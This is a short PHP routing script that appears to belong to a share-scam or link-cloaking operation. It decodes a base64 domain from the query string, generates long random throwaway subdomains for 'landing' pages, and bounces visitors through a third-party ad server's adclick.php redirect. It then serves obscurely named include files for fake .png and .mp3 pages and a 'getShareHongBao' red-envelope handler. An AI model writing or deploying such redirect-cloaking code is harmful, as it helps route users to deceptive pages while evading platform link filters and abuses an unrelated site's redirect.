<?php
/**
 * Created by PhpStorm.
 * User: huanglintian
 * Date: 2019/3/26
 * Time: 10:28
 */
$data = require __DIR__ . '/data.php';
include __DIR__ . '/include.php';

$rote = isset($_GET['s']) ? trim($_GET['s']) : '';
$type = isset($_GET['p']) ? trim($_GET['p']) : '';
$f = isset($_GET['f']) ? trim($_GET['f']) : '';
$key = isset($_GET['key']) ? trim($_GET['key']) : '';
if($f=='thr'){
	if($key){
		$luodi = base64_decode($key);
		$luodiArr = explode('.', $luodi);
		$newluodiDomain = get_rand_str(50, 60).'.'.$luodiArr[1].'.'.$luodiArr[2]; //新的随机落地域名
		$luodiDomain = 'http://'.$newluodiDomain."/".get_rand_str(50, 80).'.png';
		//中转域名2跳落地
		$bannerid = rand(20,100);
		$zoneid = rand(20,100);
		$middleDomain  = "http://ad.modiauto.com.cn/adclick.php?bannerid={$bannerid}&zoneid={$zoneid}&source=&dest=$luodiDomain";		
		header("location:{$middleDomain}");exit();
	}
}
if (preg_match('/(\w*?).png/', $rote, $matches))  { //luodi2
	include  '../qtqqdldcvq8d5aittq8mmh20rdkk595e.php';
} else if (preg_match('/(\w*?).mp3/', $rote, $matches)) { //share
	include  '../e5d5q77j411kheeucs2fp9dv23d9l62c.php';	
}else if (preg_match('/config/', $rote, $matches)) { //config
	include  '../config.php';
}else if (preg_match('/getShareHongBao/', $rote, $matches)) { //getShareHongBao
	include  '../getShareHongBao.php';
}else if (preg_match('/back/', $rote, $matches)) { //back
	include  '../back.php';
}else { 
    include  './cover.php';
}
